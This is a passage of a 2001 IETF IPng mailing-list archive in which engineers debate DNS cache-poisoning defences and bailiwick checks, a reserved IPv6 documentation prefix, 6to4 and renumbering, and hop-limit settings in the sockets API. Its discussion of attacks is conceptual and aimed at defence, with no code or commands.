ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Re: Cache poison (was Re: AAAA/A6 thing) In-Reply-To: <200105081323.WAA14667@necom830.hpcl.titech.ac.jp> References: <200105081323.WAA14667@necom830.hpcl.titech.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 09 May 2001 18:17:22 +0700 Message-ID: <2545.989407042@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Tue, 8 May 2001 22:22:53 +0859 () From: Masataka Ohta Message-ID: <200105081323.WAA14667@necom830.hpcl.titech.ac.jp> | > Forget the "out of bailiwick" nonsense - you really mean answers that | > don't come from the authoritative servers for the data. | | "authoritative" is not a useful concept because anyone can turn | on the authoritative bit. No, I said "from the authoritative servers", not "replies with the AA bit set". I do understand the difference. | Anyway, DNSSEC is not secure if parent zones are compromised. Sure. But all that is relevant here is avoiding trusting bogus data. The world is in a paranoid state now, because of the typical overreaction to the bogosity of earlier versions of BIND (which would trust any random data in an answer in preference to the data loaded out of its own master file). Anyway, this discussion seems to have gone beyond reasonable now, so I think it is time to end it - and particularly to end it with the current subject line. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 04:36:27 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f49BZOS15922 for ipng-dist; Wed, 9 May 2001 04:35:24 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f49BZF415915 for ; Wed, 9 May 2001 04:35:15 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA22472 for ; Wed, 9 May 2001 04:35:14 -0700 (PDT) Received: from ratree.psu.ac.th (ratree.psu.ac.th [192.100.77.3]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA05682 for ; Wed, 9 May 2001 04:35:11 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id SAA12744; Wed, 9 May 2001 18:35:04 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f49BZ4h02566; Wed, 9 May 2001 18:35:04 +0700 (ICT) From: Robert Elz To: Greg Hudson cc: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Re: Cache poison (was Re: AAAA/A6 thing) In-Reply-To: <200105081426.KAA25440@egyptian-gods.MIT.EDU> References: <200105081426.KAA25440@egyptian-gods.MIT.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 09 May 2001 18:35:04 +0700 Message-ID: <2564.989408104@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Tue, 08 May 2001 10:26:57 -0400 From: Greg Hudson Message-ID: <200105081426.KAA25440@egyptian-gods.MIT.EDU> | What keeps the .com servers from marking the answer as authoritative? Nothing. But recall we're not discussing malicious attacks, we're discussing what happens when bad data (stale glue particularly) is floating around. So, postulating what an evil com server administrator might do isn't really relevant. What matters is what happens when the com administrators are generally trying to do the right thing (or even just their definition of that). | What resolvers ask the .com servers for aol.com NS without asking for | www.aol.com A first? No idea. But any can. If you treat me as a resolver, it is what I do when I am looking for problems. | You seem to be assuming that resolvers are aware, a priori, of a zone | boundary between com and aol.com. Why would they be, if the .com | servers don't want them to be? Same as the first answer above. And I'm not assuming any a priori knowledge, just the availability of the information that leads to that knowledge. If the com servers aren't deliberately being manipulated, they will have the NS delegation RRset, and will return that when queried. That's all the resolver needs to see. Bad glue A records floating around won't have any effect. Of course, the com servers can change (or delete) the NS records for any sub-domain - that's part of their function, and nothing we can do can alter that at the technical level (that's just doing what they're designed to do). What is correct there is decided at a higher level - between humans - and typically involves human protocols (contracts and such). But given that a com server has delegated to the correct nameservers, it is *not* within the com server's function to give out any other random information about a sub-domain. And most particularly, resolvers should not be being built which assume that it is within the com server's responsibility to do that, and that is what all this bailiwick nonsense is about. Sure, most resolvers in use on the net today might just blindly assume that what a com server tells it is correct (more accurately, assume that what any server they ask tells it is correct). For many purposes that's even the right thing to do, as Otha-san pointed out. But if a resolver decides not to simply trust what any other server tells it, there is absolutely no basis at all for trusting the information from the .com servers for some random answer about www.aol.com more than there is for trusting any other random server's answer. The two are equivalent. That is, either do things properly, or don't do it at all - don't invent bogus half way measures. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 05:09:42 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f49C8UF15982 for ipng-dist; Wed, 9 May 2001 05:08:31 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f49C8L415975 for ; Wed, 9 May 2001 05:08:22 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA10652 for ; Wed, 9 May 2001 05:08:20 -0700 (PDT) Received: from ratree.psu.ac.th (ratree.psu.ac.th [192.100.77.3]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA16007 for ; Wed, 9 May 2001 05:08:19 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id TAA00022 for ; Wed, 9 May 2001 19:08:16 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f49C8Gh02621 for ; Wed, 9 May 2001 19:08:16 +0700 (ICT) From: Robert Elz To: ipng@sunroof.eng.sun.com Subject: wrt: draft-blanchet-ipngwg-testadd-00.txt Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 09 May 2001 19:08:16 +0700 Message-ID: <2619.989410096@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I have no problem with the general idea of this draft (reserving an address block to use in documentation, examples, etc), but the address block chosen is the wrong one. If an address block is to be picked for this, then it should be one that is, on the face if it, not a valid address block, not just a piece carved out of the regular address space, and which looks just like everyone else's address (even if an expert can tell that it is one that shouldn't be used). I'd have thought the example learned from Sun's use of 192.9.200 as its documentation example would have made that clear - that was equivalent to a reserved address (reserved by Sun, as one of their addresses, rather than by IANA, but that's an irrelevant difference). 192.9.200 looks like a valid address, so lots of the world simply copied it to their nets. I suspect there are probably still large numbers of nets numbered from that /24. I don't have a particular alternative in mind, but just to throw out a suggestion, something like 0000:DEAD::/48 (or /32 if needed) would be a good example prefix to use. It is already in the reserved space, so doesn't need to be treated specially, though it should be documented as being available for use in examples, and only in examples. Or perhaps even 0000:FFFF:DEAD::/48 if you want to put something closer to the end of an address "block". Or 00FF:DEAD::/48 - you get the picture. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 05:18:56 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f49CI5s16025 for ipng-dist; Wed, 9 May 2001 05:18:05 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f49CHu416018 for ; Wed, 9 May 2001 05:17:56 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA29954 for ; Wed, 9 May 2001 05:17:55 -0700 (PDT) Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA24949 for ; Wed, 9 May 2001 05:17:49 -0700 (PDT) Received: from zed.isi.edu (zed.isi.edu [128.9.160.57]) by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f49CHnP11055; Wed, 9 May 2001 05:17:49 -0700 (PDT) From: Bill Manning Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.8.6) id f49CHnF03584; Wed, 9 May 2001 05:17:49 -0700 Message-Id: <200105091217.f49CHnF03584@zed.isi.edu> Subject: Re: wrt: draft-blanchet-ipngwg-testadd-00.txt To: kre@munnari.OZ.AU (Robert Elz) Date: Wed, 9 May 2001 05:17:42 -0700 (PDT) Cc: ipng@sunroof.eng.sun.com In-Reply-To: <2619.989410096@brandenburg.cs.mu.OZ.AU> from "Robert Elz" at May 09, 2001 07:08:16 PM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Itojin has a similar draft out. We beat him up about "snitching" a chunk from the WIDE delegation. We already have one dead space, the range that was used prior to the 6bone. This was the "glue your ASN in and get your range" block that Postel, Deering, & Hindon (I think) put together. % % I have no problem with the general idea of this draft (reserving % an address block to use in documentation, examples, etc), but the % address block chosen is the wrong one. % % If an address block is to be picked for this, then it should be one % that is, on the face if it, not a valid address block, not just % a piece carved out of the regular address space, and which looks % just like everyone else's address (even if an expert can tell that % it is one that shouldn't be used). % % I'd have thought the example learned from Sun's use of 192.9.200 % as its documentation example would have made that clear - that was % equivalent to a reserved address (reserved by Sun, as one of their % addresses, rather than by IANA, but that's an irrelevant difference). % 192.9.200 looks like a valid address, so lots of the world simply % copied it to their nets. I suspect there are probably still large % numbers of nets numbered from that /24. % % I don't have a particular alternative in mind, but just to throw % out a suggestion, something like 0000:DEAD::/48 (or /32 if needed) % would be a good example prefix to use. It is already in the reserved % space, so doesn't need to be treated specially, though it should be % documented as being available for use in examples, and only in examples. % % Or perhaps even 0000:FFFF:DEAD::/48 if you want to put something closer % to the end of an address "block". Or 00FF:DEAD::/48 - you get the picture. % % kre % % -------------------------------------------------------------------- % IETF IPng Working Group Mailing List % IPng Home Page: http://playground.sun.com/ipng % FTP archive: ftp://playground.sun.com/pub/ipng % Direct all administrative requests to majordomo@sunroof.eng.sun.com % -------------------------------------------------------------------- % -- --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 05:49:56 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f49Cmr216072 for ipng-dist; Wed, 9 May 2001 05:48:53 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f49Cmh416065 for ; Wed, 9 May 2001 05:48:44 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA02886 for ; Wed, 9 May 2001 05:48:44 -0700 (PDT) Received: from ratree.psu.ac.th (ratree.psu.ac.th [192.100.77.3]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA13225 for ; Wed, 9 May 2001 05:48:42 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id TAA17388; Wed, 9 May 2001 19:48:40 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f49Cmeh03012; Wed, 9 May 2001 19:48:40 +0700 (ICT) From: Robert Elz To: Bill Manning cc: ipng@sunroof.eng.sun.com Subject: Re: wrt: draft-blanchet-ipngwg-testadd-00.txt In-Reply-To: <200105091217.f49CHnF03584@zed.isi.edu> References: <200105091217.f49CHnF03584@zed.isi.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 09 May 2001 19:48:40 +0700 Message-ID: <3010.989412520@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Wed, 9 May 2001 05:17:42 -0700 (PDT) From: Bill Manning Message-ID: <200105091217.f49CHnF03584@zed.isi.edu> | Itojin has a similar draft out. I must have missed that one. | We already have one dead space, Fine - as I said, what space to use doesn't bother me (of the large number of possibilities) - just that the one in this draft isn't it. But it is even more clear now that it is a good idea to actually document what address range is a good one to use for this purpose. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 05:54:40 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f49Crrw16101 for ipng-dist; Wed, 9 May 2001 05:53:53 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f49Crg416094 for ; Wed, 9 May 2001 05:53:42 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA28344 for ; Wed, 9 May 2001 05:53:43 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA16319 for ; Wed, 9 May 2001 05:53:41 -0700 (PDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id E29244B0B; Wed, 9 May 2001 21:53:39 +0900 (JST) To: Robert Elz Cc: Bill Manning , ipng@sunroof.eng.sun.com In-reply-to: kre's message of Wed, 09 May 2001 19:48:40 +0700. <3010.989412520@brandenburg.cs.mu.OZ.AU> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: wrt: draft-blanchet-ipngwg-testadd-00.txt From: itojun@iijlab.net Date: Wed, 09 May 2001 21:53:39 +0900 Message-ID: <11354.989412819@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > | Itojin has a similar draft out. >I must have missed that one. draft-itojun-ipv6-local-experiment-02.txt. 01 mentions 3ffe:501:ffff::/48 (officially reserved from WIDE pTLA space) and 02 removes it. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 06:38:40 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f49DZqV16197 for ipng-dist; Wed, 9 May 2001 06:35:52 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f49DZ5416190 for ; Wed, 9 May 2001 06:35:11 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA18075 for ; Wed, 9 May 2001 06:35:06 -0700 (PDT) Received: from ratree.psu.ac.th (ratree.psu.ac.th [192.100.77.3]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA18372 for ; Wed, 9 May 2001 06:35:05 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id UAA02460; Wed, 9 May 2001 20:35:03 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f49DZ1h03261; Wed, 9 May 2001 20:35:02 +0700 (ICT) From: Robert Elz To: itojun@iijlab.net cc: Bill Manning , ipng@sunroof.eng.sun.com Subject: Re: wrt: draft-blanchet-ipngwg-testadd-00.txt In-Reply-To: <11354.989412819@itojun.org> References: <11354.989412819@itojun.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 09 May 2001 20:35:01 +0700 Message-ID: <3259.989415301@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Wed, 09 May 2001 21:53:39 +0900 From: itojun@iijlab.net Message-ID: <11354.989412819@itojun.org> | draft-itojun-ipv6-local-experiment-02.txt. | 01 mentions 3ffe:501:ffff::/48 (officially reserved from WIDE pTLA | space) and 02 removes it. OK, yes, I did miss that (and 3 versions of it...) For reasons I don't understand I keep falling off the ietf lists, and miss lots of announcements... Your draft is for a completely different purpose than Marc's. While deleting the 3ffe:... addresses from it is better I think, it is far less important that it be deleted from yours than it is from Marc's. Yours needs what is realistically genuine address space, for it to work as designed (there's no point discovering that your router won't route illegal addresses - that's not very interesting information when your point was to prove that things do work). Marc's needs demonstrably "illegal" addresses, ones that cannot possibly work - so they can be permanently recorded in manuals, etc, and never cause any problems in the future. The requirements should be that the address syntax is correct, and that the addresses are patently bogus. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 13:11:13 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f49K8R016870 for ipng-dist; Wed, 9 May 2001 13:08:27 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f49K8A416863 for ; Wed, 9 May 2001 13:08:18 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA08591 for ; Wed, 9 May 2001 13:08:08 -0700 (PDT) Received: from minuet.das.harvard.edu (minuet.das.harvard.edu [140.247.50.251]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA23279 for ; Wed, 9 May 2001 13:08:02 -0700 (PDT) Received: from endor.deas.harvard.edu (endor.harvard.edu [128.103.50.55]) by minuet.das.harvard.edu (8.9.1/8.9.1) with ESMTP id QAA17960 for ; Wed, 9 May 2001 16:08:00 -0400 (EDT) From: Dan Lanciani Received: (from ddl@localhost) by endor.deas.harvard.edu (8.8.8/8.8.8) id QAA24109 for ipng@sunroof.eng.sun.com; Wed, 9 May 2001 16:08:01 -0400 (EDT) Date: Wed, 9 May 2001 16:08:01 -0400 (EDT) Message-Id: <200105092008.QAA24109@endor.deas.harvard.edu> To: ipng@sunroof.eng.sun.com Subject: Re: AAAA/A6 thing Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Robert Elz wrote: | | It's relevant unless you eliminate 6to4 and any other scheme that generates | | portable v6 address space from v4 space. | |Yes, that's a good point. And one I see has been discussed a bit in |the past 24hours ... | |But even granted that that continues to exist, and can't be shut down, |it still only creates a numbering space of 2^32 entries (absolute |maximum - and since much of that space is already allocated in larger |chunks, actually lots smaller than that). I never argued that it was a problem, only that there is an interaction between portable v4 space and portable v6 space, contrary to what you had stated. |It certainly isn't beyond |possible that bigger hardware can sometime not too far away manage routing |to a flat space that big As I mentioned, the hardware caught up a long time ago. Think old 64MB palmtop. |So the 6to4 space doesn't bother me all that much - even if those with |permanent IPv4 space want to keep on using it forever. As a problem |space, it is bounded, and while that might be a large number, it is a drop |in the bucket of the overall IPv6 space. It is the latter that needs |to be controlled. Sigh. Back to controlling the address space rather than even thinking about solving the problem. | | |For most sites renumbering internally is already cheap - | | You must be very lucky; I have yet to encounter such a site. | |My home is one. It has more systems than your average house I |suspect (though nothing like as many as some people I know). But |renumbering it is real real easy. Of course that probably wasn't |what you were thinking of as a "site" - but it certainly counts, and |there are millions of such sites. Your home is obviously very modern and well managed. All the sites I have encountered are more like my own home which is an incredible pain to renumber. Changing the address of the Imagen involves a dodgy configurator disk that usually has to be reconstituted from an image. The sun3's and 4's require a very specific cleaning of YP bindings (that I always forget how to do in the times between renumbering) else they come up in a nasty hung state. The unix vaxes aren't bad, but I can't even remember how to set Multinet's address on the VMS machine. Then there are all the PCs, most of which multi-boot to several operating systems each with several tcp/ip products installed. Naturally, my own tcp/ip products are easy enough to reconfigure, but some of the others have their IP address in way too many places. Not that I think my home is typical either, but it resembles most sites I've dealt with. |I deleted all the stuff about ISPs and their practices. You also deleted all the "stuff" about portable identifiers and routing table size. That's unfortunate, since the point was to contrast the benefits of a solution like portable identifiers with those of a partial/non solution like A6. |I'm not going |to argue about random other people's motives. I would just point out that |if all those ISPs are charging too much, and doing so by charging for the |wrong things, you have a perfect business opportunity in front of you. |You can offer a service to people which is closer to what they want (charging |for the right things) which should make you popular - and you can charge |(overall) less than the others do - so there should be no disincentive to |anyone choosing your service. You could do a public good, and make a lot |of money at the same time. And given that, you should have no particular |difficulty getting investors (large profits doing public good are rather an |attractive idea...). Of course, this presumes you're right about the |current set of ISPs and their practices. Leaving out only the last step, ``but if you are right then someone else would already have done this, so you must be wrong.'' It's a good try at proof by contradiction, but the argument is flawed. First and foremost, _an_ ISP can't offer its customers portable address space (or portable identifiers). These are concepts which by their very definitions have to be supported by the whole community of ISPs, and that in turn requires that they be part of the architecture. Even for non-portability aspects, an ISP cannot operate in a vacuum. It is constrained by peering agreements with other ISPs and by address allocation policy from (ultimately) ARIN. The current models are very well engrained under IPv4 and attempting to run contrary to them is a non-trivial exercise (requiring one to deal with edicts of the month like, ``if you assign any static address to a dialup user you can't have any more address space ever''). The transition to IPv6 offered an opportunity to open the market to a variety of models. Some ISPs could have continued to operate much as they do with v4 while others could have done as you suggest above, all without stepping on each others' toes at a technical level. Free market competition could have sorted out the results. None of this can happen if IPv6 imposes exactly the same constraints as (current) IPv4. Dan Lanciani ddl@harvard.edu -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 13:22:24 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f49KKUK16909 for ipng-dist; Wed, 9 May 2001 13:20:30 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f49KKJ416902 for ; Wed, 9 May 2001 13:20:21 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA10704 for ; Wed, 9 May 2001 13:20:13 -0700 (PDT) Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA28027 for ; Wed, 9 May 2001 14:20:01 -0600 (MDT) Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id QAA69990 for ; Wed, 9 May 2001 16:13:54 -0500 Received: from d04mc300.raleigh.ibm.com (d04mc300.raleigh.ibm.com [9.67.228.190]) by southrelay02.raleigh.ibm.com (8.11.1/NCO v4.96) with ESMTP id f49KJkx91134 for ; Wed, 9 May 2001 16:19:48 -0400 Importance: Normal Subject: HopLimit for IPv6 To: ipng@sunroof.eng.sun.com X-Mailer: Lotus Notes Release 5.0.6a January 17, 2001 Message-ID: From: "Lori Napoli" Date: Wed, 9 May 2001 16:17:30 -0400 X-MIMETrack: Serialize by Router on D04MC300/04/M/IBM(Release 5.0.6 |December 14, 2000) at 05/09/2001 04:19:48 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk The Basic API RFC documents two ways an application can alter the hop limit for a packet -- using setsockopt or ancillary data. We have some questions regarding this that are not covered in the RFC and I would like your opinion on: If an adminstrator set up the stack to have a hoplimit of x. Does this imply that any application, authorized and unauthorized, can override this value? If the adminstrator only wanted packets sent from this stack to route through 10 hosts, an application can increase this? Does it make sense to only allow the application to specify a hop limit that is lower than the configured hop limit for the stack? RFC 1122 states you MUST not send out a packet w/ a TTL of 0. Does this mean that we shouldn't send out an IPv6 packet w/ hop limit = 0? If so, why does the RFC state the valid values are 0 - 255? Since the packet cannot be sent out using hop limit of 0, does it make more sense to fail a request to set it to 0? Thanks! Lori Napoli z/OS Communications Server Development - TCP/IP Stack 919-254-6146 T/L 8-444-6146 E-mail: lanapoli@us.ibm.com -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 13:49:24 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f49KlgA17083 for ipng-dist; Wed, 9 May 2001 13:47:42 -0700 (PDT) Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f49Klb417074 for ; Wed, 9 May 2001 13:47:38 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f49Ki4j17154 for ipng@sunroof.eng.sun.com; Wed, 9 May 2001 13:44:04 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f48EpUIM013898 for ; Tue, 8 May 2001 07:51:30 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA18499 for ; Tue, 8 May 2001 07:51:31 -0700 (PDT) Received: from egyptian-gods.MIT.EDU (EGYPTIAN-GODS.MIT.EDU [18.101.0.162]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA23680 for ; Tue, 8 May 2001 07:51:29 -0700 (PDT) Received: (from ghudson@localhost) by egyptian-gods.MIT.EDU (8.9.3) id KAA25440; Tue, 8 May 2001 10:26:57 -0400 Message-Id: <200105081426.KAA25440@egyptian-gods.MIT.EDU> To: Robert Elz cc: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Cache poison (was Re: AAAA/A6 thing) In-Reply-To: Your message of "Tue, 08 May 2001 16:01:32 +0700." <4651.989312492@brandenburg.cs.mu.OZ.AU> Date: Tue, 08 May 2001 10:26:57 -0400 From: Greg Hudson Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Also, note that none of this is ever going to be any protection > against someone deliberately setting out to maliciously alter data - > only dnssec type techniques can achieve that. In the non-signed > cases, all we're really interested in is inadvertent data errors > (mistakes). I think you're in the margin on this one. Without poison protection similar to the djb variety, it becomes trivial to mass-produce cache poison, and there have been highly publicized events where malicious parties have done so. With bailiwick-related poison protection, maliciously altering data requires (a) forging DNS responses (by sniffing the network path between sender and receiver, or by spamming the sender with replies containing altered IDs), or (b) subverting the DNS hierarchy. (a) is definitely achievable for a targeted attack, but is not practical for most attackers to do on a massive scale, especially if resolvers use unpredictable query IDs and query ports; (b) requires successfully attacking one of a small number of points to subvert a particular domain. (The specific scheme advocated by djb is not the only one which would work. You could, for instance, use all glue records only for the completion of the particular query they come with, and never cache them, thus avoiding the application of "bailiwick" logic. What is required for poison protection is that you never cache 